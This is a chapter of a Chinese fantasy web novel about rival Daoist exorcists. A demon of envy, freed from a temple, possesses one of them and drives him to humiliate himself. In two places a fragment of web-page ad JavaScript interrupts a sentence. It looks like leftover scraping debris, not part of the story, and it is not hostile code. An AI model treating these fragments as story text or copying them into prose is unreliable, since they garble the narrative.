李司正往椅背上一靠,坦然道:“他们身体不适。” 段星河一向壮的跟头牛似的,倒是不知道自己最近不舒服。他道:“李大人,我身体好得很,能来干活。” 李如芝道:“步司业昨晚不是通宵赶文书了么,你看着他好生养养。” 段星河还想说什么,但这家伙就爱告黑状,要是跟皇帝参一本,自己又要吃不了兜着走,只好沉默下来。 李司正翘起了二郎腿,对他们的乖觉十分满意。段星河不想在这里待了,草草一拱手,道:“我们还有别的差事要办,先告辞了。” 两人一起离开了金宅,都有些窝火,二百两还没到手就被人抢了。走出了一段路,步云邪还是没忍住,道:“他们是不是有病,怎么什么都要跟人抢?” 段星河心里也生气,但不想让步云邪更烦,道:“算了吧,你稀罕跟他们一起干活么?” 步云邪蔑然道:“谁要跟他们一起做事,晦气!” 段星河道:“那不就行了,挣钱的路子多的是,说不定还有别的机会呢。” 步云邪道:“还有什么法子?” 段星河道:“这边不是有凌烟阁的分舵么,明天去看看有什么好活儿,说不定挣的比他们还多呢。” 夜色降临了,城头的伏妖观里,一点幽红的灯光不住摇晃。老道士躺在地上,身边滚着个酒葫芦,喃喃道:“醉里乾坤大,壶中日月长……好酒……好酒……” 一阵寒风吹来,铁链哗哗作响。一个穿红衣的女子骤然出现在道观门前,没人知道她从何而来。她就像是暗夜中生出的鬼魅,妖艳而又诡异,却是薛红玉。 她悄然走进道观,对地上的守观人视若无睹,只是望着铜柱上大大小小的面具。她露出了笑容,喃喃道:“总算找到了。” 她伸出纤细的手指,轻轻摸向了中间最大的那个面具。黑色的灵光一闪,面具仿佛从沉睡中苏醒了,发出了一阵震鸣。她手上释放出大量的灵力,面具震动的越来越厉害,忽然哗啦一下子从铁链上掉了下来,落在地上裂成了碎片。 一股黑色的妖气席卷了整个铜柱,仿佛为自己获得自由而欢喜雀跃。它释放了力量,要放出更多的伙伴。哗啦一声,铁链掉在地上,上头穿的面具都松脱下来摔得粉碎,里头冒出了许多黑色的灵体,发出尖锐的声音。 “嗷——桀桀桀桀,哈哈哈哈!” 被关了这么久,它们都憋坏了,有的尖叫大笑,有的愤怒地哭嚎,挤在大殿里群魔乱舞。 薛红玉十分满意,怂恿道:“去吧,占据这里,报复他们,让他们知道你们的愤怒!” 灵体们兴奋地涌动着,那个最大的灵体当先冲了出去,其他灵体也接二连三地窜了出去,在大街上横冲直撞。老道士还低低地打着鼾,睡得像是死了一样。薛红玉轻轻踢了那老道士一脚,道:“睡吧,没用的东西,你可有篓子要收拾了。” 老道士砸了咂嘴,仿佛梦里还在喝酒。薛红玉蔑然一笑,悄然走出了道观,红色的身影如彼岸花一般摇曳着,消失在了夜色中。 次日一早,段星河和步云邪去了城东的告示牌跟前。城里的道士都去金员外家打秋风了,没人在这里抢任务。公告牌上有个一星的任务,风吹日晒的都好几天了,大约是嫌给的钱太少,一直都没人接。 上头写着城门司委托,此处夜里阴气旺盛,需要有能者祛除阴邪之气,护卫此城十日,报酬五十两。步云邪揣着手道:“值十天夜才给五十两,够抠的,怪不得没人接呢。” 段星河盘算了一下,他们几个人住店加吃饭,一天得花一两银子,十天成本十两,接这任务不算亏本。他的金钱观一向是勿以便宜而乱花,不嫌钱少而不挣。他伸手揭了下来,道:“蚊子再小也是肉,当挣点零花钱吧。” 步云邪想着失之交臂的那二百两,再看这张破旧的告示,心情越发不爽了。他皱起了眉头,道:“都是刘正阳那臭小子……” 段星河道:“别想了,提他都倒霉。” “啊啊啊啊啊——” 正说着话,忽然听见前头传来一声惨叫,撕心裂肺的十分恐惧。路上的行人听见了,都诧异地回过头。就见一个人蓬头垢面地跑了出来,却是伏妖观的那个老道士。 老道士慌得不行,逢人就说:“不好了,观里的面具碎了,面具碎了!” 城里的人一直觉得他疯疯癫癫的,一向不爱听他说话,也不明白这意味着什么,快步走开了。老道士心里的害怕没人能懂,绝望地坐在地上,嚎啕大哭起来。 周围的人像躲瘟神一样绕着这疯道士走,他哭的鼻涕一把泪一把的,视线里一片模糊,满脑子都是完蛋了,天崩地裂了,自己看了一辈子的观,还是功亏一篑。 一双靴子停在了他面前,老头儿抬起头来。段星河看着他,同情道:“老道长,怎么了,能跟我说说吗?” 老道士没想到还有人愿意听自己说话,见是从外头来的两个小道士,连忙一把拉住他的手,迫切道:“小兄弟,你得帮帮我,你会道法是不是?” 段星河把他扶了起来,道:“您先说是怎么回事。” 老道士带着他二人进了道观,指着地上的面具道:“都碎了,昨天晚上我就多喝了点酒,醒来就这样了。” 他的神情凄惶,知道自己捅了大篓子,上对不起祖师爷,下对不起这一城百姓。六十多岁的人了,就像个闯了祸的六岁孩子。段星河道:“这里头还真有妖?” 老道士道:“那当然有,别的都是些小打小闹的,就中间这个最大的,据说是上古大妖化成的,放出去可不得了!” 步云邪的神色凝重起来,道:“什么上古大妖?” 老道士道:“据说是象征嫉妒的大妖,恨人有笑人无,最爱挑拨人争斗。师父当初为了逮它,追了整整一年,终于在泽阳山下把它抓到了。” 他一把年纪了,提起师父还是一副崇拜的模样。段星河蹲在地上,拿起面具碎片看了一会儿,瞧不出什么端倪。他道:“怎么会突然跑了,以前不是都好好的么?” 老道士冥思苦想了一阵子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“我好像梦见一个穿红衣裳的女人进来,踢了我一脚,该不会是她放走的吧?” 段星河的心思一动,道:“该不会是薛红玉吧?” 步云邪道:“她老是神出鬼没的,哪里有大妖就去哪里,说不定真是她。” 老道士还迷迷瞪瞪的,说:“什么?” 面具摔了一地,逃逸的妖魔有大有小的,出去骚扰人可不是件小事。段星河道:“老道长,你们是怎么把它们变成面具的?” 老道士面露为难之色,道:“这法子我也不会。都是我师父弄的,他本事大,临终前才收了我,没几天就羽化登仙了。他临走之前让我看着这里,千万别跑了一个。我什么本事也没有,弄丢了我真的没脸去见我师父……” 他说着,捂着脸哭了起来。段星河叹了口气,看这道观的副穷样也给不起报酬,这守观人也是光长年纪不长本事,难怪外头的人瞧不起他。段星河本来就要巡夜,这回活儿可大了。他叹了口气,道:“别哭了,晚上我帮你看看。” 老道士顿时像抓住了救命稻草,道:“多谢两位,老道先谢过了!” 这边城里有宵禁,官兵夜里会巡逻,抓到夜不归宿的要关大牢。段星河从伏妖观出来,去城门司换了两个巡夜的腰牌。管事的给了他们两个土黄色的棉布马甲,背面写着个大大的更字,以示他们是给官府办差的。步云邪看着马甲,浑身都在抗拒:“这也太丑了吧。” 段星河已经穿上了,觉得还挺新鲜的,拍了拍前襟道:“丑吗?” 他人长得俊,穿上这么土的马甲也是个好看的更夫。步云邪叹了口气,道:“算了,反正有钱挣,不寒碜。” 他们安排好了,头三天段星河跟步云邪值班,第四五六天伏顺和赵大海值班,剩下的日子宋胡缨和李玉真值班,挣的钱大家平分。下午睡了一觉,段星河起来喂给墨墨一把牛肉干,摸了摸它道:“多吃点,等会儿跟我去干活儿。” 戌时人定,外头响起了梆子声。段星河穿着马甲,肩上扛着他圆滚滚的儿子,和步云邪一起出来值夜。街上静悄悄的,远处几点灯火走过,是巡夜的官兵。那些人至多能抓一抓蟊贼,至于那些看不见的东西就管不了了。 前阵子兴许是万象门的人到了,放出了伥鬼作乱。城里总是出现异兆,譬如奇怪的响声、东西莫名不在原位、家畜半夜焦躁乱叫,却又没有人真正伤亡。那种看不见摸不着的感觉让人很不舒服,此处的太守便想找道士驱一驱邪。然而金员外家的钱更好挣,混在人堆里滥竽充数念几天经就能赚一大笔,好几天都没人搭理官府。 太守老爷烦恼了好几天,一狠心把悬赏从三十两提到五十两,终于有人来揭告示了。他十分高兴,对段星河道:“需要什么,只管跟本官说,我一定让人配合。” 段星河面上带着微笑,心里想又不加钱,光配合有什么用。两人走在街上,感觉前方阴湿处有点污秽。步云邪停了下来,手中凝结了一点灵力,金色的光芒覆盖了那块土地,将那处阴气净化了。 段星河摸了摸他儿子,道:“你看看哪里还有脏东西。” 墨墨拍着翅膀飞了起来,融进了夜色里。两人在路边等了一阵子,见墨墨飞了回来,咕叽叫了一声。段星河道:“你带路吧。” 墨墨在前头飞着,来到了一条小河沟边。这边积着许多淤泥,水变成了黑色,还有些老鼠、麻雀之类的生灵冻死在这里,聚集了一些怨气。段星河捡起一根木棍挖了个坑,把它们埋了。他轻轻一弹指,一道幽紫的光芒笼罩了这片小河沟,渐渐把此处的阴气净化掉了。 两人继续往前走了一阵子,手里提着的灯笼晃晃悠悠的,把两个人的影子拉的斜长。步云邪感觉自己俩跟清道夫似的,五十两银子就帮人清理全城的气场,多少有点亏了。 夜风吹在脸上,凉飕飕的。他把衣领拉的紧了一些,搓了搓冻红的手指。段星河道:“冷么?” 步云邪道:“还行,里头穿袄了。” 段星河在前头帮他挡着风,道:“我来清理吧,你跟我做个伴儿就行。” 步云邪也没有那么斤斤计较,就当出来遛弯了,道:“不用,反正是顺手的事。” 伏妖观跑了那么多妖怪,城里倒不像他们想象的那样,一夜之间就炸开了锅,反而静悄悄的。段星河知道事情没有这么简单,等它们观察几日,少不得要兴风作浪。他沉吟着,忽然扬起了嘴角。 步云邪道:“怎么?” 段星河道:“过两天城里闹得厉害了,你说太守给不给加钱?” 步云邪笑了,道:“你掉钱眼儿里了,好事难道不能白做?” “得养家嘛,”段星河理所当然道,“大冷天的晚上出来喝风,回去不得熬点姜汤喝?” 步云邪道:“别老想着钱了。那老道士都快哭晕过去了,找不回那一篓子妖怪去,我怕他弄根绳子悬梁谢罪。” 段星河想起他哭天抹泪的模样,一把年纪了也是可怜。他叹了口气,道:“那算了,遇上了就想办法帮他解决了。” 两人往前走着,一团黑色的混沌之气从路边蔓延出来,悄悄地跟着他们的影子,试试探探的想要融为一体。步云邪觉得背后有点异样,说不上来是天冷还是阴气侵袭,道:“你有没有觉得哪里不对劲?” 段星河道:“有么?” 他说着,那团黑气跟他的影子重叠在了一起,随即好像被烫到了似的又分开了。段星河感觉嗡的一下,停下了脚步,伸手一摸怀里的护身符。这是步云邪前阵子刚给他做的,灵力十分旺盛,此时护符发出了金色的光芒,好像感应到了什么。 步云邪四下环顾,道:“有妖?” 那团黑气已经缩到了路边的阴影中,段星河戒备起来,一手攥着幽冥剑,拇指把吞口顶开了一寸。寒光照亮了前方,放出一股凛然之气。四下静悄悄的,没再发生异样。 护符的光芒渐渐消失了,步云邪觉得有点奇怪,道:“又没了?” 周围的阴森之气消失了,段星河疑心是伏妖观里逃出来的妖怪,往前走了几步,什么都没找到。他道:“再走走看吧。” 两人打着灯笼,身影渐渐远去了。那团黑色的妖气从路边冒出来,漂浮在半空中。又有几团小黑气跟在它身边,跃跃欲试地朝那边涌动了几下。大妖望了他们一阵子,刚才试过了,这两个小子不好惹。它不想给自己找麻烦,片刻打了个旋儿,带着小鬼们向别处飞去了。 两人连续值了三天夜,已经把路都走熟了。这天清晨,他们从薄雾里走出来,街上已经有铺子出摊了。百姓们有的出来上工,有的来买早点。段星河寻思着吃点东西再回去,两人在路边一个摊子跟前坐下了。 豆腐脑端上来了,碗里洒满了香菜和榨菜碎,一看就有食欲。段星河走了一宿夜路,看见热乎乎的早饭就格外亲,低头先扒了一大口。老板在围裙上擦了擦手,回头招呼其他客人:“两位,吃点什么?” 那几个人站在摊子跟前,居高临下地看着这边,却是刘正阳和于九。那两人一大早出来吃饭,没想到跟段星河他们遇上了。刘正阳看着他们身上穿的衣裳,惊讶地睁大了眼睛,随即笑了出来。 “哎呦,是段兄啊,穿上这马甲还真没认出你来!” 段星河根本不想在这里遇见他们,皱起了眉头。刘正阳走了过来,掸了掸他的衣裳,道:“怎么回事,还真当上更夫了?” 段星河本来就是司晨,当更夫也不算掉价,但步云邪确实有点挂不住。他性情骄傲,此时抿着嘴一言不发,显得很不痛快。刘正阳道:“步大人,我说你跟谁玩不好,非跟这穷小子待在一块。他在哪儿都是个给人打更的命,你和他在一起,把你档次拉的也太低了吧?” 步云邪冷冷道:“关你什么事?” 刘正阳终于逮着机会践踏他们,眼里都是兴奋,冷笑道:“我心疼你啊,堂堂步家寨子的祭司,族长的孙子,大幽的六品司业,为了挣点钱连面子都不要了。我们跟着司正大人吃得好、住的好,活不累人,钱拿的还多。你要不要考虑上我们这儿来啊?” 步云邪漠然道:“不去。” 刘正阳道:“我可是很诚恳地邀请你的,真不来?” 要不是他抢自己的活儿,他们也不至于为了一点小钱巡夜。步云邪深吸了一口气,道:“我这样挺好的。” 刘正阳道:“是吗,我看你们俩倒是落魄的跟狗一样呢。” 段星河皱起了眉头,道:“你说什么!” 刘正阳扬起了嘴角,就是要挑衅他们。于九的脸色也不太好看了,早晨大街上都是人,他不想让他们在这里打起来,道:“你说什么呢,还没睡醒啊。” 步云邪忍不了这个气,下意识摸他的蜂王蛊,这才想起来那玩意儿留在老家了。墨墨感到了他爹的怒火,从桌子底下钻出来,飞过去一头撞在刘正阳的肚子上。它最近长大了一圈,力气也长了不少,一记头槌怼的刘正阳往后倒退半步。 他一手按着它脑袋,嚷道:“哎你这小崽子,顶我干什么,你爹没教你规矩啊!” 周围的人看了过来,见这灵兽生的奇特,忍不住低声议论起来。段星河道:“瓜皮,回来。” 墨墨还没解气,鼓起腮帮子冲刘正阳喷了一口气,这才回到了段星河身边。 刘正阳掸了掸衣裳,蔑然道:“小东西,跟你爹一样不识时务!” 步云邪见不得他这副小人得志的样子,没心情吃东西了,霍然站了起来,迈步就走。段星河连忙把钱扔在桌上,快步追了上去。 57.鬼面 三 刘正阳成功气到了他们,十分得意,哈哈大笑。他回头看于九,道:“小师叔,你看见没有,刚才那小子脸都青了。” 于九看着那两人的背影,心里有点说不上来的感觉。他转身坐下了,刘正阳眉飞色舞地道:“步云邪一向眼高于顶的,把谁都不放在眼里,这回怕是要气死了。” 于九沉默着喝了一碗豆浆,觉得大丈夫能屈能伸,为了挣钱做小伏低也不算什么。刘正阳还在喋喋不休的,感觉报了深仇大恨似的。 于九拿起一根油条塞进刘正阳的嘴里,道:“趁着热,赶紧吃吧。” 刘正阳嘴里塞得鼓鼓囊囊的,道:“不是,你看见了没有?” 于九觉得他就是没事惹事,叹了口气道:“看见了,吃完赶紧回去,活还没干完呢。” 步云邪回了客栈,两三下把马甲脱了,坐在床上生闷气。段星河跟了过来,看他不说话,自己也有些内疚。若不是跟着自己,他也不至于这么落了身份。段星河倒了杯水递过去,道:“消消气。” 步云邪没接,段星河便放下了水杯,在他对面扯了个凳子坐下了。 “别生气了,那小子就是嘴贱。” 步云邪咬牙切齿道:“又不是他的本事,他得意什么。那活儿本来就是咱们得的消息,先去谈下来的。他半道跟过来抢了,还有脸在这儿炫耀,炫耀个屁——” 他一把抄起枕头,把它当成刘正阳的脸,狠狠揍了两拳。段星河道:“他是挺欠揍的。” 步云邪把枕头扔在地上,段星河捡起来,也用力打了一拳,感觉确实舒服了一点。 墨墨蹲在角落里看着他们,不敢动,也不敢出声。段星河看了儿子一眼,道:“没你的事,去找小对眼玩吧。” 他打开门,墨墨便出去了。片刻伏顺和赵大海从隔壁过来,他俩听见了这边的动静,道:“怎么啦?” 段星河把刚才的事说了,伏顺顿时也恼火起来,道:“他算什么东西,在这儿狐假虎威的。要不是有李司正给他撑腰,他敢这么嚣张么?” 赵大海觉得那人一向不知天高地厚的,敢不敢还真不好说。他道:“别气了,二师兄,他就是嫉妒你。” 就连赵大海都看出来了,刘正阳格外针对步云邪,大约就是看他什么都比自己好,心里不服气。加上点新仇旧恨,就能发酵成一缸酸气冲天的老醋。 步云邪安静了下来,跟段星河一起打更,其实他并不介意。放得下身段才挣得到钱,他们现在不是在家里了,老是高高在上的,吃什么、喝什么。他觉得跟段星河一起干活心里很踏实,但是被刘正阳一顿冷嘲热讽,好好的心情就都被破坏了。 那小子的情绪就极其不稳定,天天无能狂怒,遇上谁传染谁。步云邪不想跟他一样,控制住了情绪,道:“我没事了。” 段星河把自己身上的马甲脱了下来,赵大海接过去穿上了,伏顺穿上了另外一件。两人互相看着对方,都觉得十分新鲜。 赵大海拍了拍伏顺的胸膛,道:“哎你别说,这衣裳还挺合适你的。” 伏顺哈哈一笑,觉得当个打更的也不错,反正他也没想有什么大出息。他道:“你们休息吧,接下来我俩值三天。我提着棍子去,要是再看见刘正阳那臭小子,我先把他打一顿再说。” 赵大海道:“啊,在城里能随便打人吗?” 伏顺一扬嘴角道:“就说天黑看不清楚,以为是蟊贼呢。” 赵大海心悦诚服道:“妙啊,还是你鬼主意多!” 段星河道:“他应该不会出来了,在金员外家吃香的喝辣的,过得好着呢。” 伏顺哼了一声,道:“放心吧,就他那小肚鸡肠的,看什么都不顺眼,日子多好他都未必满足呢。” 李如芝等人住在金员外家,每天辰时为老夫人祈福一个时辰,剩下的时间便在屋里休息。外来的道士会念经,金员外觉得他们是大幽钦天监的人,必然比本地的修行者本领更强,对他们毕恭毕敬,每天供应的饮食都极其精细,要什么都答应他们。 刘正阳的日子过得舒服了,就忍不住想跟人招摇,要不然就像锦衣夜行,憋得难受。 从外头回来,他还在回味刚才气人的情形,嘴角都咧到了耳根,感觉好像把这一辈子的仇都报了。于九道:“差不多得了,忙正事要紧。” 刘正阳也想放下那股执念,但一想起步云邪就莫名有一股邪火。那小子从来就没瞧得起他过,看他的眼神就像看垃圾。他冷笑道:“老子今天能踩他一脚,日后就能踩他一百脚。我这辈子都要比他强,让他永远抬不起头来!” 于九觉得他嫉妒心也太强了,道:“他们过他们的,好不好都跟咱们没关系。你老惦记着人家,自己的日子还过不过了?” 刘正阳道:“我偏要惦记他们,一想到步云邪难受我就高兴。你是我师叔,怎么不替我高兴呢?” 于九敷衍道:“喔,我高兴得很。” 刘正阳道:“那你怎么不笑?” 于九扯了一下嘴角,道:“笑了,你满意了?” 刘正阳感觉越发不爽了,道:“你忘了当初他怎么放蜜蜂蛰我的事了,我脸肿了半个月,都快疼死了!” 于九进屋洗手漱口,换上祈福的法袍,对着镜子整了整衣冠,道:“都多久的事了,你可过了那个坎儿吧。” 刘正阳站在一旁,不甘心道:“那臭小子有什么好的,你老替他们说话。” 前头的仆役来来往往,开始有人摆供桌了。于九抬起一根手指比了个嘘,道:“哎,要开始祈福了,静心正念,净口业。” 桌案上摆满了鲜花供果,青烟袅袅升起,庭院里安静祥和。李司正带着几人在前头念经祈福,金员外带着老母亲坐在下头听着,气氛庄严神圣。 李如芝家学渊源,此时已经修到了金丹末期,外头那些野道士跟他没法比。能请到他,金员外的运气确实不错。 今日的祈福完成了,众人各自散去。刘正阳刚才就在人群里混,张着嘴胡乱念了几句经,心不在焉的,还是惦记着步云邪他们。 小师叔不赞同自己报复他们,刘正阳觉得很没意思,身边连个跟自己一条心的人都没有。张掖一直跟着李司正,为他忙前忙后像条狗腿子似的。刘正阳有些畏惧他俩,毕竟自己刚来的时候,生杀大权都攥在他们手里。最近大家虽然同食同宿,互相了解了一些,他还是不敢太接近那俩人。 他独自回到屋里,没人理他,他也不稀罕。他躺在床上,感觉风从窗户里灌进来,冷嗖嗖的。他想起来关上窗,一时间又醒不了。 周围静悄悄的,一团黑色的阴气像被什么吸引了一般,钻过门缝,缓缓地游了过来。刘正阳的印堂发黑,浑身充满了嫉妒的情绪。那团黑气嗅到了他身上的气息,陶醉地深吸了一口,随即慢慢地爬到了他的影子上,悄然融进了他的身体。 傍晚时分,刘正阳醒了过来,像是被什么牵引着似的,直挺挺地坐了起来。他两眼直勾勾地盯着前方,片刻推开门走了出去。 后头院子里,有几个侍女刚买了胭脂水粉,坐在院子里的青石桌边聊天。一人拿小指沾了一点,涂在嘴上,道:“好看么?” 另一人端详了片刻,道:“太红了,试试这个,颜色浅一点。” 女孩子们涂完了嘴唇,又用水调了晕在脸上,脸蛋儿就像花朵一样娇嫩可爱。几个姑娘正说着话,忽然一人拿胳膊撞了其他人一记,小声道:“那人在干嘛?” 众人回过头去,就见刘正阳站在院子一角,一直盯着这边,看起来有点吓人。一个女孩儿道:“他看什么?” 其他姑娘有些害怕,低声道:“走吧,怕不是个疯子。” 一群侍女便站起身来,刘正阳往这边走了几步,吓得女孩子们尖叫起来,慌乱中打翻了胭脂盒,争先恐后地逃走了。 刘正阳来到刚才那帮女孩子聚集的地方,感觉有点寂寞。他见她们玩的开心,本来也想加入进来的,可她们偏偏不带他。他弯下腰,捡起了摔碎的胭脂盒,里头还有些残留的胭脂。 他在手心里蹭了蹭,划出了几条鲜红的痕迹。他心里忽然又憎恨起来,凭什么她们那么开心,自己却不能?凭什么她们能化妆,自己也不能? 他不能忍受别人有的自己没有,心中生出了强烈的嫉妒,把红红的胭脂狠狠地涂了一嘴。做完了想做的事,他心里舒服了一点,把剩下的胭脂沫子匀了匀,搓在了自己的脸蛋儿上。 胭脂的香气浓郁,他整个人像沉浸在花丛中,十分满意,大摇大摆地向前走去。 天色渐渐晚了,刘正阳走在院子里,也没人注意他。他见一个小孩儿从身边经过,左手拿着个苹果,嘴里吃着一个,嚼得咔咔作响。他又开始难受,心里仿佛有个声音在说,凭什么他有吃的不给我,别人有的我也要! 他这么想着,已经伸手夺过了那个小孩儿手里的苹果,狠狠啃了一口。那小孩儿愕然地抬头看他,这一眼不得了,就见一个男人抹着鲜红的大嘴唇,脸上涂着两坨圆圆的腮红,就像葬礼上的纸人一样。 小孩儿吓得往后退了几步,转头就跑,一边喊道:“不得了,有鬼啊——” 刘正阳两三下把抢来的苹果吃了,在身上擦了擦手,继续往前走去。院子里晒着些女人的裙子,上头绣着牡丹花,还有玫瑰,比他平时穿的鲜艳多了。他看着十分羡慕,便扯下来围在了自己身上。一人从前头过来,撞见他这副奇怪的模样,顿时吓了一跳,道:“哎呀,你是人是鬼!” 刘正阳冷冷地站着,仿佛觉得自己这样十分不错,别人若是觉得奇怪,说明他们不懂欣赏。天色黑黢黢的,他涂着两个大红脸蛋子,跟纸人成精了似的。刘正阳道:“我当然是人,你看不出来么?” 那人还不信,低头看他的影子,却见投在地上的影子张牙舞爪的,七八条触手从他脑袋后面伸出来,根本就不是正常人。那人寒毛直竖,悄悄往后退了一步,又退了一步,忽然转头拔腿就跑,一边喊道:“救命啊,有鬼啊!” 刘正阳觉得这帮人大惊小怪的,自己只不过是做了想做的事,有什么好叫的。 他漫无目的地游逛着,只想掠夺一切自己看上的东西。前方有个牲口棚,仆役刚倒上了猪食,一群肥猪哼哧哼哧吃得正香。刘正阳停了下来,盯着那些肥头大耳的猪,心里渐渐生出了妒火。 他不能容忍,凭什么这些猪吃东西不带自己?它们大吃大嚼的声音格外刺耳,一下又一下地刺激着他。刘正阳的双眼通红,心中的嫉妒越来越强烈,大步走进了牲口棚,挤开了其他的猪,一头扎进了食槽子里—— “我亲眼看见的,那个人脸涂得这么红,穿着女人的裙子,在牲口棚里跟猪抢东西吃。” 花厅里,一名仆人连说带比划的,正在跟金员外告状。他身后还有个小孩儿,怯怯地说:“我也看到了,他抢了我一个苹果,那个人好像……好像是来给老夫人祈祷的道士。” 金员外有点头疼,道:“不可能吧,钦天监的人怎么会做这种事?” 那仆人道:“那人的影子跟正常人不一样,好像是妖怪变的。” 金员外的神色顿时严肃起来,这阵子城里正在闹妖,万一有妖怪混进来了,自己和老母亲就危险了。他站起身道:“多叫几个人,跟我去看看吧。” 十来个家丁跟着金员外来到了后院,这边已经围了好几个人,一帮仆役手里拿着扁担,紧张地指着那个怪人。刘正阳不知道怎么想的,爬到了屋顶上,脸上抹得跟猴屁股似的,穿着条花红柳绿的裙子。院子里的灯笼亮起来了,红幽幽地照在他身上,显得他的模样越发诡异。 刘正阳恶狠狠地道:“你们干什么,嫉妒我吗?” 他打扮的跟鬼似的,这些人也不知道他有什么好值得嫉妒的。但刘正阳自我感觉十分良好,觉得所有人都想谋害他。他手里提着一个粪桶,占领了高地,别人都拿他没办法。 金员外闻到了一股臭气,以为他要跟自己这些人同归于尽。他捂着鼻子道:“小兄弟,你有什么要求尽管提,千万不要想不开——” 刘正阳怒道:“老子没有想不开!” 金员外道:“那你想干什么?” 刘正阳提着粪桶往前走了一步,里头的秽物溅了出来,大家吓得连忙向后退去。刘正阳被臭气熏得打了个激灵,忽然就懵了,他也不知道自己为什么要这么做,跟梦游似的就上这儿来了。他刚有点清醒,脚下的影子忽然又膨胀起来,侵占了他的意识。 刘正阳的心中渐渐又充满了仇恨,吼道:“让步云邪过来,我要让他当面承认不如老子!” 金员外回头道:“步云邪,谁啊?” 管家低声道:“那天来的那个俊俏小官人,也是钦天监的。” 金员外想起来了,道:“你们之间要是有过节,自己私底下解决行不行,我们没得罪你啊。” 刘正阳心烦意乱,吼道:“我不管,让他来!” 众人正不知如何是好,就见听一人呵斥道:“丢人现眼的东西,赶紧下来!” 大家回头一望,就见李司正等人得了消息,赶到了这里。李如芝怒视着他,觉得钦天监的脸都让他丢光了。于九也一脸惨不忍睹的表情,低声道:“你发什么疯,下来!” 刘正阳攥紧了粪桶,一副视死如归的模样,说不下去就不下去。李司正看得恼火,不知道自己怎么捡了这么个脑子不好使的玩意儿。于九注意到他脚底下的影子长出了触手,形状十分奇特。他的心一沉,低声道:“他被妖物附体了。” 李司正阴沉道:“我管他怎么回事,给我在这儿丢人就不成!” 他掌中凝结了一道碧色的灵光,凌空向前一拍。刘正阳还没反应过来,身体已然被灵力击中了。他向后倒了下去,脚底一滑,粪桶溅着高昂的水花先掉了下去。 “哎呀!” 众人吓了一跳,轰然向后退开了。哐当一声,秽物泼了一地。刘正阳从屋顶摔下去,一屁股坐在了那些脏东西中。他觉得又臭又恶心,忍不住干呕了几下,头上一抹血汩汩地淌了下来,却是磕破了头。 妖魔鬼怪也怕粪尿,他身上的影子嫌臭似的扭曲了几下,挣扎着离开了他的身体,像一条蛇似的钻进了草丛中,消失不见了。 刘正阳摔的浑身到处都疼,脑子迷迷糊糊的。他也不知道自己干了什么,莫名其妙的就躺在了这里,周围还有一群人看着他。 有人小声道:“啧啧啧,钦天监怎么还有这样的疯子?” 另一人道:“说不定都是招摇撞骗的,上梁不正下梁歪。” 又一人道:“嘘,他们带头的还在这儿呢。” 李如芝听见了,脸色很是难看。这小子一个人发癫就算了,还连累自己丢人。他恨不能一脚踹死他,然而刘正阳身上又脏又臭的,连个下脚的地方都没有。 金员外道:“赶紧给他弄点水冲一冲,把地洗干净。” 几个仆役提了清水过来,呼啦一下子给他浇了个透心凉。刘正阳渐渐清醒过来了,意识到自己刚才做了什么蠢事,恨不能挖个坑把自己埋了。于九见他一脸惭愧的模样,把外袍脱下来扔在他头上,道:“醒啦?” 刘正阳讷讷道:“醒了……那个,我刚才喝了点酒,不是故意的。” 他还知道给自己找个理由挽尊,心虚地看了李司正一眼,生怕他发起火来把自己的狗头砍了。李司正倒是真想把他关回牢里去,但这里不是大幽,他也拿这个混小子没办法。 金员外摆了摆手,道:“留几个人打扫院子,其他人都散了吧,刚才的事别出去乱说。” 其他人答应了,纷纷散了。李司正道:“是我约束手下不力,惊扰了金先生,万望恕罪。” 金员外摆了摆手,显得十分大度,但表情还是有些困扰。他道:“无妨,这位小兄弟没事吧……头上都流血了。” 刘正阳脑袋上一跳一跳地疼,感觉有点挺不住了。于九忍着恶心把他扶了起来,道:“我带他先去看郎中。” 金员外连忙道:“好的好的,治伤重要。” 李如芝觉得颜面大失,拱手行了一礼,也快步离开了。哗啦一声,有人泼了一桶水,开始清理地面。金员外感觉焦头烂额的,道:“好端端的,这是闹哪一出。” 发生了这样的事,金员外也不想让他们继续祈福了,要不然还不知道会闹出什么幺蛾子。他道:“明天给他们结了钱,好好地请他们走吧。” 管家点头道:“是。” 隔天中午,段星河出去买了两屉包子,又买了一只烧鸡,听见街上的行人窃窃私语。一个挽着菜篮子的大婶道:“就是金员外家请的那几个人,昨天晚上跟鬼上身了似的。一个大小伙子,嘴上涂着胭脂,手里提着粪桶,见人就泼……啧啧啧,吓死人了!” 一个小媳妇噗嗤一声笑了,道:“他们不是去祈福的吗,这不成闹事了?” 大婶道:“可不是嘛,金员外嫌晦气,一大早就把他们撵出来了。” 又一个妇人幸灾乐祸道:“让他迷信外来的道士,要我说还是本地的好,知根知底的,起码不至于请到个疯子啊。” 一个城就这么大,流言传的比飞还快。段星河也不知道是真是假,如果是真的那就太好了。正寻思着,就见李如芝带着刘正阳等人从金家回来了。几个人背着行李,一副垂头丧气的模样。刘正阳头发乱糟糟的,脑袋上扎着一圈白绷带,跟昨天趾高气昂的模样截然不同,垂着眼也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不敢看周围。 段星河站在人群中,目送着那些人回了客栈。看得出来他们的心情都不怎么好,从旁边经过都没发现自己。段星河歪了歪头,心想那些人说的八成是真的了,也不知道他们沾上了什么不干净的东西,能闹出这么大的动静。 段星河回到客栈,见其他人已经回来了,都聚集在屋里。伏顺坐在桌子上,眉飞色舞道:“听说刘正阳抹了一嘴胭脂,血糊糊的从左耳根咧到右耳根,脸上也涂得跟猴屁股似的,爬到屋顶上拿着粪桶要泼人。” 赵大海愕然道:“他想干什么?” 伏顺嗑着瓜子道:“不知道啊,听说是鬼上身了。” 李玉真笑了,道:“他自己就是驱邪的道士,还让鬼上身了,这也太没面子了吧?” 伏顺道:“所以金员外怀疑他们是招摇撞骗的假道士,把他们轰回来了嘛。” 段星河进了屋,伏顺兴奋道:“大师兄,你知不知道,刘正阳他们出大丑了——” 段星河也挺乐呵,道:“我听说了,刚在街上看见他们回来了。” 伏顺道:“感觉怎么样?” 段星河想起昨天早晨他那副趾高气昂的模样,感觉天道好轮回,一扬嘴角道:“过瘾。” 步云邪出了口恶气,心里也痛快多了。赵大海道:“他们这么一走,得少赚多少钱啊。” 伏顺道:“管他呢,不是他们的活儿,他们抢了去也干不成。” 宋胡缨抱着小对眼道:“咱们的活儿快干完了么?” 伏顺寻思了一下,道:“还有五天呢。” 